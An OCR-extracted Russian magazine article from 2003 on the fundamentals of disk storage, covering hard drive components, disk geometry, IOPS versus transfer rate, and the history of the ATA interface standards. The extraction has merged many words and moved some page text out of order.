Page 63: 004 Системный Администратор 03 2003
Page 64: 004 Системный Администратор 03 2003

62

hardware

ОСНОВЫ СИСТЕМХРАНЕНИЯ ДАННЫХОСНОВЫ СИСТЕМХРАНЕНИЯ ДАННЫХ

Page 65: 004 Системный Администратор 03 2003

63№3(4), март 2003

hardware

Часть 1Целью написания данного документа является помощь ува-жаемому читателю в освоении фундаментальных основ ипринципов построения дисковых систем хранения данных.Как ни странно, но практика показывает, что системы хра-нения данных являются наименее понимаемой и в то жевремя наиболее интересной частью компьютерной отрас-ли. Поэтому мы вместе с читателем постараемся прибли-зиться к наиболее полному понимаю дисковых систем, от-толкнувшись от незыблемых законов физики и логики.

Мы начнем с обсуждения базовых понятий, поэтомупредварительное знакомство читателя с дисковыми сис-темами и самими жесткими дисками не обязательно, нокрайне желательно, так же как и владение минимальнонеобходимой терминологией.

По ходу изложения мы обсудим критерии производи-тельности дисков, протоколы IDE и SCSI, и почему от-дельные IDE-диски обычно более производительны, чеманалогичные по характеристикам диски SCSI. Какие ха-рактеристики дисков, публикуемые в спецификацияхпроизводителя важны, а к каким надо относиться с до-лей скептицизма. Мы вплотную разберемся с характе-ристиками шин и интерфейсов дисков, начиная с ATA-1(устаревшего, но все еще интересного в историческомаспекте) до новейшего Serial ATA, SCSI и ее реинкарна-циями, и закончим FC-AL (Fibre Channel – Arbitrated Loop)и FC-SW (Fibre Channel Switched), а также новейшей (нопока не испытанной на практике) iSCSI. Заглянем во внут-ренности RAID-массивов и RAID-контроллеров, раз и на-всегда уясним разницу между RAID-01 и RAID-10 (оченьчасто эти термины используются взаимозаменяемо и, какследствие, некорректно), попытаемся понять, какой изуровней RAID для какого типа приложений является наи-более оптимальным.

Мы рассмотрим и логическую часть систем храненияданных: файловые системы разных операционных систем,их преимущества и недостатки, а также программные ме-неджеры томов (software volume managers, иногда я будувынужден использовать кальку с английских терминовпросто по причине отсутствия нужных в русском языке).Ну и конечно, я зачастую буду использовать примеры изреальной жизни, начиная от систем начального уровня изаканчивая high-end платформами. Тут я вынужден заме-тить, что все в этой статье «по умолчанию» относится кдискам SCSI и Unix-подобным операционным системам.SCSI – потому что диски ATA неприменимы даже в систе-мах класса «ниже среднего» (почему именно – читаетениже), а Unix – просто потому, что я знаком с ним гораздолучше, чем с платформой Wintel.

Но начнем с терминологии. На данном этапе, пока мыобсуждаем физические характеристики жестких дисков,я буду использовать следующие термины:� жесткий диск (чаще просто «диск») – в отношении фи-

зического устройства целиком (что, в общем-то, оче-видно);

� контроллер диска (drive controller) – в отношении схемэлектрики и электроники (процессор, память, схемыуправления и электропитания), установленной непос-редственно на жестком диске;

АЛЕКСЕЙ СЕРЕБРЯКОВ

Page 66: 004 Системный Администратор 03 2003

64

hardware

� шина (bus) – в отношении схем передачи данных отодного устройства другому. При этом я обязательнобуду уточнять, о какой именно шине речь: будь тосистемная шина или дисковая, шина памяти или ка-кая-то другая;

� контроллер шины (bus controller) – любое устройство,предназначенное для соединения системной шины вво-да/вывода компьютера и устройств хранения. Русско-язычный термин «контроллер шины» не совсем коррек-тен, поэтому в тексте я буду также использовать терми-ны «контроллер» и «адаптер», потому что иногда одинподходит лучше другого. В общем случае понимать подэтим термином следует любой SCSI, Fibre Channel илиFireware адаптер, как в виде платы расширения для сло-тов PCI, так и интегрированный на материнской плате;

� ATA – любое устройство, использующее IDE-протокол.Данные устройства, более известные как (E)IDE-диски(«поблагодарим» Western Digital за внесение путаницыв терминологию), не имеют контроллера шины как та-кового. Та часть ATA-шины, имеющая привычного видаATA-разъемы и находящаяся на материнской плате,является не более чем электрическим интерфейсом иминимальными схемами буферизации, позволяющимиATA-устройству взаимодействовать с системной шинойбез особых проблем. Но подробней об этом дальше;

� SCSI (Small Computer Simple Interface) – любое устрой-ство, использующее один из множества SCSI-прото-колов, начиная от SCSI-2 и заканчивая iSCSI.

Все вышеперечисленное относится к физическим уст-ройствам, к терминологии логических устройств мы об-ратимся позже. В процессе обсуждения я позволю себенебольшие отступления для разъяснения новых терминов.

Итак, для начала давайте рассмотрим физическиесоставляющие обычного жесткого диска. Это комплек-сное устройство, продукт человеческой изобретатель-ности и сумма высоких технологий, механики и элект-роники, в котором ни одна часть по отдельности не яв-ляется определяющей скорость или надежность дискав целом как устройства.

Но по порядку, точнее, по составляющим:� корпус диска;� электродвигатель и подшипники;� магнитные пластины;� магнитные головки и их привод;� контроллер диска;� схемы электропитания.

Первые два элемента, корпус и двигатель, можно рас-сматривать как единую сборку, основу диска, к которойкрепятся все остальные части. Сам корпус играет рольшасси и по совместительству радиатора охлаждения дис-ка. При этом, как ни странно, наиболее важными и наи-менее обсуждаемыми и известными частями данной сбор-ки являются двигатель и его подшипники. Только благо-даря высоким технологиям в изготовлении подшипниковудается достичь скорости вращения шпинделя двигателясовременных дисков в 15000 об/мин, и при этом обеспе-чить ровность хода пластин и отсутствие вибрации.

Тут следует отвлечься и уточнить, что скорость вра-щения пластин является одним из основных показателейобщей производительности диска. Чем выше скоростьвращения шпинделя двигателя, тем будут лучше средниепоказатели скорости чтения-записи данных для диска вцелом. Но в то же время чем выше скорость вращения,тем выше вибрация и тепловыделение. Кроме того, с ро-стом скорости вращения аэродинамические завихренияпо внешнему краю пластин начинают создавать дополни-тельные проблемы. Только из-за этих объективных инже-нерных трудностей все еще нет дисков со скоростью вра-щения пластин, скажем, 50000 об/мин.

Магнитные пластины, наряду с подшипниками дви-гателя и магнитными головками, являются еще однимпродуктом высоких технологий. Обычно они изготовля-ются из алюминиевого сплава (хотя используются идругие материалы, например, серия дисков IBM DTLAсо стеклянными пластинами) и покрываются магнитнымслоем. Число пластин в диске может изменяться от од-ной до четырех-пяти, в зависимости от его емкости.

Поверхность пластин сверхровная, так как качествоповерхности пластин определяет такие характеристи-ки диска, как число ошибок на единицу поверхности ивеличину зазора между пластинами и магнитными го-ловками при работе диска, которые, в свою очередь,определяют такой важный параметр, как плотность за-писи. Под плотностью записи понимают количество битданных, которые могут быть размещены на 1 квадрат-ном дюйме поверхности пластины. («Успешно» – клю-чевое слово, неуспешно записанные данные нам неин-тересны). В общем случае чем выше плотность записи,тем выше емкость диска и, возможно, выше внутрен-няя пропускная способность диска.

Магнитные головки вместе с их приводом выглядяткак обеденная вилка, где сами головки крепятся к «зу-

Page 67: 004 Системный Администратор 03 2003

65№3(4), март 2003

hardware

бьям» вилки (в случае двух и более магнитных пластинна «средних» зубьях размещаются по две головки –сверху и снизу для соседних поверхностей), а приводголовок крепится к «ручке». Число головок и скоростьих перемещения (правильный термин – позициониро-вания) обязательно указывается производителем в до-кументации на диск и является еще одним фактором,прямо влияющим на его общую производительность.

Скорость позиционирования головок определяетсякак «время доступа» (access time). В реальной жизнинаибольший интерес представляют: время доступа насоседнюю дорожку, время доступа с первой дорожкина последнюю и среднее время доступа.

Среднее время доступа можно рассматривать каквремя, необходимое для перемещения магнитных го-ловок на 1/3 всего хода, плюс время на стабилизациюна нужной дорожке. Следует уточнить, что в современ-ных дисках в случае перемещения на большое рассто-яние головки передвигаются не с постоянной скорос-тью, а с переменной.

В начале движения идет фаза разгона головок, а вконце пути следует фаза торможения. Естественно, чтоиспользование такой технологии позволяет существен-но уменьшить время доступа, особенно при частых пе-ремещениях головок на большие расстояния.

Типичный пример – два активно использующиесяраздела, находящиеся в разных частях одного жестко-го диска. Также замечу, что в случае операции записивремя доступа будет несколько больше, чем при опе-рации чтения данных, так как в случае записи необхо-димо более точное позиционирование головок, и какследствие увеличивается время их стабилизации нанужной дорожке.

Контроллер диска – плата, монтируемая на самомдиске. Включает микропроцессор и его программноеобеспечение, блоки кэш-памяти, интерфейс шины и кон-туры электропитания.

Микропроцессор контролирует все операции диска:от параметров механических частей диска (скорость

вращения двигателя, перемещение головок) до обра-ботки данных.

Кэш-память используется для промежуточного хра-нения данных, перед тем как они будут записаны на дискили переданы в оперативную память компьютера. Непос-редственно сам объем кэш-памяти не оказывает замет-ного влияния на общую производительность диска, од-нако качество алгоритмов использования кэш-памятиуже может оказаться существенным.

Есть множество методов управления кэш-памятью, иболее «умный» диск с меньшим объемом кэша, но бо-лее продвинутым адаптивным алгоритмом кэширования,окажется быстрей диска с большим объемом кэша, ис-пользуемого как простой буфер ввода-вывода.

Интерфейс шины определяется типом используемогопротокола шины. Далее мы в деталях рассмотрим наибо-лее распространенные – IDE, SCSI и Fibre Channel. На те-кущий момент у каждого из производителей дисков обыч-но существуют некие базовые модели дисков, с практи-чески одинаковыми характеристиками механической ча-сти, но с разным типом интерфейса и, соответственно,разным набором логики.

Схемы электропитания – достаточно важная деталь.Входное электропитание подается на делители напря-жения, где обрезается до нужных величин, обычно бездополнительной стабилизации, так как стабилизаторыслишком большие для их монтажа на контроллере дис-ка. Из-за отсутствия дополнительной стабилизации, ка-чественное входное электропитание является одним изосновных параметров долгожительства диска.

Никогда не подключайте диски через переходники,такие как разветвитель электропитания на радиатореCPU. Это обязательно приведет к скачкам напряженияи, как следствие, сокращению срока службы диска.

Поскольку мы начали говорить о том, что «не лю-бят» диски, вот еще несколько важных мелочей. Никог-да не монтируйте диски «вверх ногами», то есть элект-роникой вверх. По возможности избегайте монтажадисков вертикально разъемами вверх или вниз. Все этиположения ведут к повышенным нагрузкам на подшип-ники двигателя и привод головок, нарушают охлажде-ние и, в конечном итоге, снижают срок службы диска.Диски не любят перегрева (как, впрочем, и все другиекомплектующие). Если вы монтируете несколько дис-ков один над другим, убедитесь, что зазор между ними,по крайней мере, существует. Установите еще несколь-ко вентиляторов охлаждения.

Диски не любят механических нагрузок и вибрации.При монтаже убедитесь, что все четыре винта крепле-ния дисков затянуты равномерно и достаточно плотно.Ослабление винтов приведет к увеличению вибрациидиска и сокращению срока его службы.

Не рискуйте понапрасну своими данными. Соблюдай-те эти элементарные правила, и, вполне возможно, чтовы избавите себя от значительного количества ненуж-ных проблем.

На этом мы закончим обсуждение физических со-ставляющих жестких дисков и перейдем к знакомствус их логической частью.

Page 68: 004 Системный Администратор 03 2003

66

hardware

Для того чтобы диск можно было использовать, опе-рационная система должна иметь какой-либо способ ад-ресации запросов на ввод/вывод к диску. Существуетнесколько таких способов, зависящих от типа диска. Те-оретически любой жесткий диск можно описать при по-мощи нескольких параметров, вместе называемых «гео-метрией диска».

Каждый диск имеет свою «геометрию». Например,геометрия IDE-диска, определяемая как число его ци-линдров, головок и секторов, так как она представленав BIOS компьютера. Важно понимать, что те числа ци-линдров головок и секторов, которые вы видите в BIOSкомпьютера, ни в коей мере не являются реальными зна-чениями. Для упрощения относитесь к ним, как к некимабстрактным значениям, используемым по историческимпричинам для борьбы с проблемами дисковой адреса-ции в операционных системах производства Microsoft.

В случае SCSI-дисков все проще – для любой опера-ционной системы они выглядят (при помощи контролле-ра шины) как непрерывная цепочка блоков данных раз-мером 512 байт. Вот тут и лежит фундаментальная раз-ница между IDE- и SCSI-устройствами. Как я уже гово-рил, IDE-диски не используют контроллер шины. Вместоэтого они имеют интегрированный контроллер диска (от-сюда и термин IDE – Integrated Drive Electronic), которыйобщается напрямую с IDE-драйвером операционной си-стемы через минимальную электронику на материнскойплате компьютера, также известную, как IDE-разъем. Та-ким образом, операционная система запрашивает бло-ки у SCSI-контроллера и физические (хотя и не реаль-ные) сектора у IDE-дисков. Но мы отвлеклись.

Цилиндр – это вертикальная группа дорожек, совпа-дающих по своему физическому положению на поверх-

ности пластин. В свою очередь, дорожкой называетсяконцентрическая полоса поверхности пластины. Дорож-ки создаются при низкоуровневом форматировании дис-ка, и их число может изменяться в зависимости от типаи модели диска.

Сектора также создаются на этапе низкоуровнегоформатирования (кстати, все современные диски по-ставляются уже отформатированными на низком уров-не, а пользователь не имеет возможности изменить этотформат), и представляют собой часть поверхности до-рожки, на которую может быть записано 528 байт ин-формации – 512 байт данных и 16 байт служебной ин-формации, такой как ECC сектора. Обычно на каждойдорожке выделяется несколько запасных секторов, ко-торые используются для замены сбойных секторов толь-ко этой дорожки. Это позволяет избежать необходимо-сти перемещения всей дорожки в область резерва вслучае появления сбойных секторов.

Легко заметить, что число секторов на дорожку неявляется фиксированным и изменяется от дорожки кдорожке. Для типичного диска число секторов на внеш-ней, самой длинной (нулевой) дорожке может в два разапревышать число секторов на внутренней, самой корот-кой дорожке. Но изменение это не может быть плав-ным: разница в длине между двумя соседними дорож-ками просто недостаточна для того, чтобы вместить ещеодин сектор. Поэтому был введен термин «зона», изве-стный как «группа цилиндров». Под зоной понимаютгруппу соседних цилиндров с одинаковым числом сек-торов, равных числу секторов на самом коротком, т.е.самом внутреннем цилиндре. Число зон на диске мо-жет изменяться от 10 и выше. Как и в случае с сектора-ми, в каждой зоне выделяется запасной цилиндр, что вслучае появления сбойной дорожки (дорожки, где за-кончились резервные секторы для замены сбойных) по-зволяет избежать перемещения всей дорожки в конецдиска, как это было раньше. Вот и все о логическойструктуре диска.

Теперь, когда мы познакомились с устройством жест-ких дисков, давайте резюмируем основные факторы, вли-яющие на производительность дисков, и какое влияниена них мы как пользователи можем оказать.

Во-первых, это физические параметры, скорость пе-ремещения головок и скорость вращения шпинделя дис-ка. Оба параметра рассмотрены выше, и непосредствен-но изменить их мы не в силах.

Во-вторых, качество логики диска, которое мы такжене в силах изменить.

Для описания логической суммы этих двух факторовсуществует еще одна очень важная характеристика дис-ка – внутренняя скорость передачи (Internal Transfer Rate,ITR). Это максимальная скорость, с которой данные мо-гут быть прочитаны с поверхности диска и помещены вкэш-память для последующей передачи в память компь-ютера. Это же относится к записи, но в случае записитакже вычисляется и записывается ECC сектора. Так какобъем данных на дорожке изменяется от зоны к зоне, вспецификации на диск ITR обычно указывается как мак-симальное/минимальное значение для диска.

Page 69: 004 Системный Администратор 03 2003

67№3(4), март 2003

hardware

По моему мнению, ITR является одной из важнейшиххарактеристик диска, публикуемой в его технической до-кументации. ITR характеризует максимально возможнуюпроизводительность самого диска, в отрыве от всех ос-тальных потенциальных «узких мест». Например, еслимаксимальный ITR некого диска равен 80 Мб/с, т.е. мень-ше 10 Мб/с, то подключение такого диска через шинуUltraATA-100 не даст никакого увеличения производитель-ности и, в общем-то, бессмысленно.

А теперь давайте рассмотрим, как происходит типич-ная операция с диском, и как на нее влияют вышеизло-женные факторы.

Предположим, что приложение пользователя запраши-вает операцию ввода/вывода у операционной системы.Пусть это будет чтение некоторого обьема данных.

Получив запрос от приложения, опрерационная сис-тема, в свою очередь, передает этот запрос файловойсистеме, и уже файловая система инициирует вызовдрайвера соответствующего контроллера шины. Затемпрограммное обеспечение (firmware) контроллера шины,получив запрос от драйвера, передаст этот запрос кон-троллеру диска. В случае IDE-дисков последняя стадияотсутствует, и ATA-драйвер операционной системы об-щается непосредственно с контроллером диска. В лю-бом случае в итоге всех этих операций контроллер дис-ка получает команду найти блок данных с некоторымадресом, а затем прочитать и передать некоторое ко-личество следующих за ним блоков. Адрес начальногоблока и необходимое количество блоков контролиру-ется файловой системой, будь то реальные физичес-кие блоки, как в случае с SCSI-дисками, или виртуаль-ный адрес, как в случае с ATA.

Кстати, под файловой системой надо понимать про-граммное обеспечение, предоставляющее данные для

операционной системы (обычно файловая система яв-ляется частью операционной системы). Каждый раздел(partition) диска должен иметь файловую систему, длятого чтобы операционная система смогла его использо-вать. Исключение составляют так называемые «сырыеразделы» (raw partitions), традиционно используемыебазами данных или как разделы для свопинга в Unix.Именно файловая система обеспечивает контроль це-лостности данных на уровне операционной системы иконтролирует перемещение данных с/на устройства хра-нения. Но к файловым системам мы еще вернемся и об-судим их в деталях позже.

А теперь назад к операции чтения данных. Предпо-ложим, что в нашем случае размер записи (блока) фай-ловой системы равен 2 Кб (настраиваемый параметр,обычно может быть изменен при создании файловой си-стемы), и пользовательское приложение запрашиваетчтение только одного блока данных. В этом случае фай-ловая система получит и затем отправит драйверу кон-троллера шины запрос на чтение 2 Кб данных. На уров-не драйвера контроллера шины этот запрос будет стран-слирован в одну операцию чтения непрерывной после-довательности (первый блок, затем несколько следую-щих за ним) из 4 блоков по 512 байт. Так как в нашемпримере размер блока файловой системы равен 2 Кб,любая операция чтения/записи на самом деле будет ра-ботать с 4 последовательными дисковыми блоками. Внашем примере эти 4 дисковых блока являются мини-мальной величиной операции ввода/вывода.

Суммарное время на получение нужных нам (точнее,нашему приложению) 2 Кб данных может быть разбитона несколько этапов.� Время, проводимое запросом в очереди на обслужи-

вание.� Время на служебные команды.� Время доступа.� Время передачи.� Время на получение данных файловой системой.

Очередь команд может существовать как в драйвереконтроллера, так и в самом контроллере. Время, прово-димое запросом в очереди на обслуживание, зависит оттекущей нагрузки на подсистему ввода/вывода, и можетизменяться от практически нулевого до сотен миллисе-кунд. Размер очереди команд зависит от драйвера кон-троллера и также может изменяться.

Служебные команды включают в себя необходимыйобмен служебной информацией (в основном опрос стату-са дисков и передача им нужных команд) между контрол-лером шины и контроллером диска. Объем данной инфор-мации сравнительно невелик, а обмен командами и отве-тами осуществляется на полной скорости шины. В общемслучае этим временем можно пренебречь.

Время доступа, в свою очередь, состоит из временипозиционирования головок, стабилизации головок нанужном цилиндре, а также времени задержки враще-ния. Время позиционирования – это время, необходи-мое на перемещение головок диска из их текущего по-ложения на нужный цилиндр, а время стабилизации –

Page 70: 004 Системный Администратор 03 2003

68

hardware

это время, необходимое головкам для их выравнива-ния и остановки на этом цилиндре.

А вот задержка вращения требует дополнительныхпояснений. Временем задержки вращения (rotationallatency) называется время, которое требуется пласти-нам на вращение до такого положения, когда началонужного нам сектора окажется непосредственно под го-ловкой. Логично предположить, что в среднем времязадержки вращения составит половину от времени од-ного оборота диска, что не так уж мало даже на скоро-стных дисках. Кроме этого, также может возникнуть си-туация, когда начало нужного сектора находится подголовками, но по какой-либо причине (переполненыкэш-буфера диска в случае операции чтения, или дан-ные еще полностью не получены от конроллера шины вслучае операции записи) не могут быть прочитаны ипереданы контроллеру диска. Такие ситуации называ-ются «пропущенным оборотом» (missed rotation) и вобщем-то избежать их невозможно. Время доступа из-меняется в зависимости от типа диска, расположениянужных данных на диске, но в любом случае относи-тельно велико – десятки миллисекунд.

Время передачи данных – время, необходимое дискуна чтение, декодирование, проверку целостности данныхи их запись в кэш-буфер контроллера диска. Данные чи-таются и передаются в кэш контроллера диска на скорос-ти ITR, контроллер диска проверяет целостность данных,а затем передает данные контроллеру шины. Можно счи-тать, что это время ограничено только ITR диска.

И наконец, последняя стадия – полученные контрол-лером данные передаются в оперативную память компь-ютера (точнее, буфер файловой системы), о чем драйверконтроллера шины и сигнализирует файловой системе.Файловая система, в свою очередь, сигнализирует при-ложению пользователя о завершении запроса. В случаеиспользования raw partitions данная стадия отсутствует, иданные от драйвера передаются непосредственно в бу-фер приложения пользователя.

Еще раз замечу, что блок файловой системы являет-ся минимальной единицей обмена данными с дисковойподсистемой и не может быть фрагментирован. Хотя, ко-нечно, блоки файловой системы с данными одного фай-ла могут быть расположены непоследовательно, и этоявление получило название внешней фрагментации. Сле-довательно, если бы в нашем примере запрашивалосьчтение данных обьемом 2.5 Кб, это привело бы к генера-ции двух запросов на чтение, каждый из которых читалбы данные четырех физических блоков.

Учитывайте это, создавая файловые системы, особен-но файловые системы на RAID-томах. Размер блока фай-ловой системы обязательно должен быть кратен блоку(чанку) RAID-тома. Хороший пример – 16 и 64 Кб соответ-ственно. Об этом подробнее дальше.

Итак, мы теперь представляем типичную операциючтения данных с диска, и потенциально узкие места дис-ковых систем. Теперь давайте разберемся с критериямипроизводительности диска. В предыдущей части статьи яиспользовал термин «общая производительность», давай-те разберем его на конкретные части.

Принято говорить о двух основных (и противополож-ных друг другу) критериях производительности диска –максимальном числе операций ввода/вывода в секунду(Input/Output Per Second, IOPS), измеряемом в единицах всекунду, и максимальной скорости передачи данных (DataTransfer Rate, DTR), измеряемой в Мб/с.

IOPS характеризует максимальное число операцийчтения/записи блоков данных небольшого размера(обычно 2 или 4 Kb), которые может выполнить жесткийдиск в единицу времени. В основном этот показатель ис-пользуется при обсуждении производительности прило-жений баз данных, где чтение или запись небольшихобъемов информации из непоследовательных блоковявляется типичной нагрузкой.

В свою очередь, DTR обычно используется для описа-ния максимальной скорости передачи значительного чис-ла последовательных блоков данных. Типичный пример –редактирование цифрового видео, где большинство I/Oзапросов означают чтение или запись большого числа пос-ледовательных блоков данных.

Важно понимать, что IOPS и DTR противоположны другдругу. Невозможно одновременно получить большое зна-чение IOPS и большой DTR, и вот почему: IOPS – это, посути дела, скорость, на которой диск может принимать иобрабатывать команды, позиционировать головки, т.е.затраты времени на обработку одного запроса, описан-ного выше. При этом объем передаваемых данных край-не невелик, и, как следствие, невелики затраты временина передачу данных.

Давайте попытаемся определить максимально воз-можное число IOPS для некоторого диска, исходя ис-ключительно из законов физики и базовых характери-стик диска, взятых из его технического описания.Возьмем для примера диск среднего класса со скорос-тью вращения 7200 об/мин и средним временем доступа9.9 миллисекунды. Время доступа, как обсуждалосьвыше, состоит из времени позиционирования и стаби-лизации (9.9 в нашем случае), плюс время задержки вра-щения. Предположим, что средняя задержка вращенияв долговременном плане равна половине оборота дис-ка. Тогда время одного оборота такого диска составит7200/60 = 120 об/с, соответственно 1/120 = 0.00833 се-кунды на один оборот, соответственно 4.16 миллисе-

Page 71: 004 Системный Администратор 03 2003

69№3(4), март 2003

hardware

основные потребности на ввод-вывод данных, и ужепотом приступать к созданию чего-либо. Общие реко-мендации дать трудно, но в среднем можно считать, чтоприложений баз данных, электронной почты, web и proxyважно обеспечить высокий IOPS, а высокий DTR – дляприложений хранения данных, резервного копированияи систем, где критичной является пропускная способ-ность системы хранения.

Итак, именно два вышеупомянутых критерия произво-дительности дисковых систем, IOPS и DTR, мы и будемиспользовать во второй части статьи, где поговорим онаиболее распространенных на текущий момент техно-логиях шин дисков.

Часть 2Теперь давайте передвинемся от обсуждения дисков к об-суждению шин данных – технологий, позволяющих об-щаться компьютеру и дискам.

В этой части статьи мы поговорим о двух наиболеераспространенных интерфейсах дисков – ATA (AdvancedTechnology Attachment) и SCSI – (Small Computer SystemsInterface). Давайте снова начнем с терминологии.

Любой дисковый интерфейс использует свой протокол.Под протоколом надо понимать набор правил, следуя ко-торым, устройства могут беспрепятственно взаимодей-ствовать друг с другом.

Протоколы ATA и SCSI можно рассматривать, как со-стоящие из двух уровней. Нижний – физический – уро-вень определяет электрические и физические характари-стики интерфейса, такие как число проводников, схемукодирования сигналов и прочее. Верхний – логический –уровень определяет непосредственно команды обмена

кунды на половину оборота. Среднее время обработкиодного запроса составит 9.9 + 4.16 = 14.05 миллисе-кунды. Теоретически максимально возможное числотаких операций составит 1000/14 = 71 IOPS в секунду.Если учесть проигнорированные нами операции, а так-же дополнительные нагрузки на диск ( тепловая калиб-ровка и пропущенные вращения, например), это числонадо уменьшить примерно на 6%. Таким образом, мак-симальное число IOPS-операций, которое может обес-печить такой диск, составит 66.7.

При этом надо учесть, что достичь такого IOPS мож-но только в случае, когда объем данных, передаваемыхпри каждой операции ввода/вывода, минимален. Еслиразмер одного блока данных равен 2 Kb, то суммарныйобъем переданных данных (он же DTR) составит всего66.7 * 2 = 133.4 Kb в секунду! Кроме того, есть только одинспособ увеличить IOPS: использовать RAID-массив с боль-шим числом дисков, работающих в параллель, т.е страйп.

Что касается DTR, то в случае передачи большого чис-ла последовательных блоков диск получает всего однукоманду, содержащую адрес первого блока и необходи-мое количество блоков. Передача данных происходитпрактически на полной скорости и ограничена только ITRдиска (конечно, при условии, что шина передачи не яв-ляется узким местом), а число IOPS в данном случаекрайне невелико.

Следовательно, DTR зависит от скорости вращениядиска, плотности записи, скорости, с которой контрол-лер диска может обрабатывать и передавать данные, ифизическом расположении данных на диске (как ужеупоминалось, внешние цилиндры быстрей). ОтчастиDTR может зависеть от объема и «ума» кэш-памяти дис-ка, особенно в случае операций записи. Шина данныхможет ограничить DTR, но только в случае использова-ния массива из нескольких дисков.

Все используемые в настоящее время шины, будь тоATA или SCSI, имеют приличный запас производитель-ности, который не может быть исчерпан никаким оди-ночным диском.

Увеличить DTR также можно, используя дисковыймассив, но если вам действительно нужен крайне вы-сокий DTR, а число имеющихся в распоряжении дисковнедостаточно, есть еще один вариант. Вы можете кос-венно повлиять на «средний» ITR одного диска, исполь-зуя только его внешние дорожки. Создайте RAID-страйпиз внешних разделов дисков, и прирост DTR гаранти-рован. При этом даже не пытайтесь использовать ос-тавшиеся незанятыми внутренние части дисков – лю-бая IO-операция c ними приведет к тому, что головкибудут вынуждены передвигаться гораздо больше обыч-ного и общая производительность получившейся сис-темы катастрофически упадет.

Эти два показателя – IOPS и DTR являются точкойотсчета при построении дисковых систем. Все осталь-ное зависит только от потребностей вашего приложе-ния. Учитывая, что невозможно получить систему, име-ющую высокий DTR и большое число IOPS одновремен-но, прежде чем предпринимать какие-то шаги, вы дол-жны досконально изучить имеющееся приложение, его

Page 72: 004 Системный Администратор 03 2003

70

hardware

данными. Вследствие такой двухуровневой архитектурыпоявляется возможность изменять один из уровней, и этиизменения никак не повлияют на второй. Что немаловаж-но в мире быстро изменяющихся технологий.

Физический уровень включает в себя:� число проводников шины и их использование. Часть

проводников используется для передачи данных, ачасть для передачи команд управления;

� частоту шины;� величину напряжения на проводниках;� электрическое сопротивление шины;� минимальную и максимальную длину проводников.

В свою очередь, логический уровень включает:� максимально возможное число устройств на шине;� способ контроля целостности передаваемых данных;� метод передачи данных;� метод передачи команд управления.

Нарушение любого из приведенных выше параметров,как со стороны производителя устройств, так и со сторо-ны сборщика, неминуемо приведет к возникновению про-блем той или иной сложности. Поэтому со стороны сис-темного администратора очень важно соблюдать соответ-ствующие стандарты.

Теперь более подробно об ATA- и SCSI-протоколах.Начнем с ATA. ATA как стандарт был создан в 80-х го-

дах прошлого века. Изначально ATA использовал 16-бит-ную параллельную шину, но на текущий момент уже полно-стью определен и начинает использоваться Serial ATA –ATA-протокол для последовательной шины. Замечу, чтов настоящее время широко распространен второй (некор-ректный) термин для обозначения ATA-протокола – (E)IDE.Как я уже говорил выше, термин EDIE был придуман ком-панией Western Digital и означает только размещение кон-троллера диска на самом диске (до ATA контроллер дис-ка существовал как отдельный внешний блок или отдель-ная плата). Western Digital была одной из первых в созда-ниии и продвижении на рынок ATA-дисков, поэтому еетермин прилип ко всем устройствам ATA. В настоящее вре-мя с появлением новых стандартов, таких как ATA-3, ATA-5,ситуация c терминологией начинает исправляться.

Существует несколько стандартов на ATA-шину.Стандарт ATA-1 на физическом уровне определял в

качестве интерфейса кабель из 40 проводников, с макси-мальной длиной 45 см. Предусматривал поддержку двухустройств на шине – master и slave. Была предусмотренаподдержка только жестких дисков. Методы сигнализациии частота на шине определялись дисками, а не контрол-лером шины. Как я уже говорил, в ATA-стандарте контрол-лер шины не предусмотрен – драйвер операционной сис-темы общается с дисками напрямую. В ATA-1 были опре-делены режимы PIO (Programmed I/O) 0, 1 и 2 с пиковойпропускной способностью 3.3, 5.2 и 8.3 Мб/с соответствен-но. Заметьте, что пропускная способность ATA-шины в ре-жиме PIO-2 также являлась теоретическим пределом дляиспользуемой в то время шины ISA. Кроме того, отсут-ствовал какой бы то ни было контроль целостности пере-даваемых данных.

Со временем, когда пропускной способности шиныISA стало катострофически не хватать, получили болееширокое распространение шины VESA и PCI. Что инте-ресно, отчасти необходимость в более производитель-ной системной шине была вызвана появлением на рын-ке Microsoft Windows. После появления настолько про-изводительных шин (PCI – 32 бита, 33 МГц) жесткие дис-ки снова стали узким местом в системе. Как следствие,был предложен новый стандарт – ATA-2.

В ATA-2 были определены режимы PIO 3 и 4, а такжережим DMA (Direct Memory Access, известный какbusmastering) с пиковыми пропускными способностями11.1 и 16.6 Мб/с соответственно. На самом деле пропус-кная способность шины была несколько ниже, но это не-принципиально, так как сами жесткие диски не могли вы-дать больше 8-10 Мб/с. Важной особенностью ATA-2 ста-ло определение режима LBA (Logical Block Addresing) длядисков размером больше 504 Мб. С этого времени этотрежим стал использоваться для преодоления лимитов,накладываемых схемой адресации ATA-устройств и тем,как эту аресацию использовали операционные системыот Microsoft. До появления LBA пользователи были вы-нуждены устанавливать специальный драйвер, что влек-ло за собой дополнительные проблемы.

Вскоре после появления ATA-2 была разработана егоулучшенная версия, впоследствии получившая имя ATA-3.Основным новшеством в ATA-3 стало появление SMART-технологии (Self Monitoring Analisys and ReportTechnology), позволяющей диску самостоятельно отсле-живать свое состояние и сообщать о потенциальных про-блемах. На первом этапе отслеживалось не так многопараметров, в основном температура и количество сбой-ных и переназначенных (remapped) секторов. Произво-дительность ATA-3 осталась такой же, как и у ATA-2.

ATA-4 был определен в конце 90-х годов. В этом стан-дарте впервые появился режим UltraATA-33. При исполь-зовании этого режима пиковая скорость передачи данныхпо шине могла достигать 33 Мб/с. Также появился новыйтип ATA кабеля с 80 проводниками, где 40 новых провод-ников являются «землей» и используются для контроляошибок на шине. Но основным новшеством в ATA-4 сталоиспользование CRC для контроля целостности передавае-мых по шине данных. Вычисление CRC производится для

Page 73: 004 Системный Администратор 03 2003

71№3(4), март 2003

hardware

каждого переданного пакета данных, как самим диском,так и ATA-драйвером операционной системы. В конце пе-редачи каждого пакета данных драйвер передает вычис-ленный им CRC контроллеру диска. И уже контроллер дис-ка сравнивает собственный и полученный от драйвера CRC,а в случае ошибки сообщает об этом драйверу, после чегодрайвер повторяет команду, вызвавшую ошибку. Кромеэтого, в ATA-4 была анонсирована поддежка перекрываю-щегося ввода/вывода (overlapped IO), а также очереди ко-манд. К сожалению, я не знаю, была ли реализована под-держка этих функций в какой-либо операционной системена тот момент времени.

ATA-5 появился сравнительно недавно и снова увели-чил производительность АТА-шины в два раза. Новый ре-жим UltraATA-66 позволяет достичь пропускной способ-ности 66 Мб/с. Кроме того, возможности SMART в ATA-5дисках были расширены, и как часть SMART была реали-зована автоматическая проверка целостности данных надисках. Ранее такая проверка целостности данных былареализована только в SCSI-дисках.

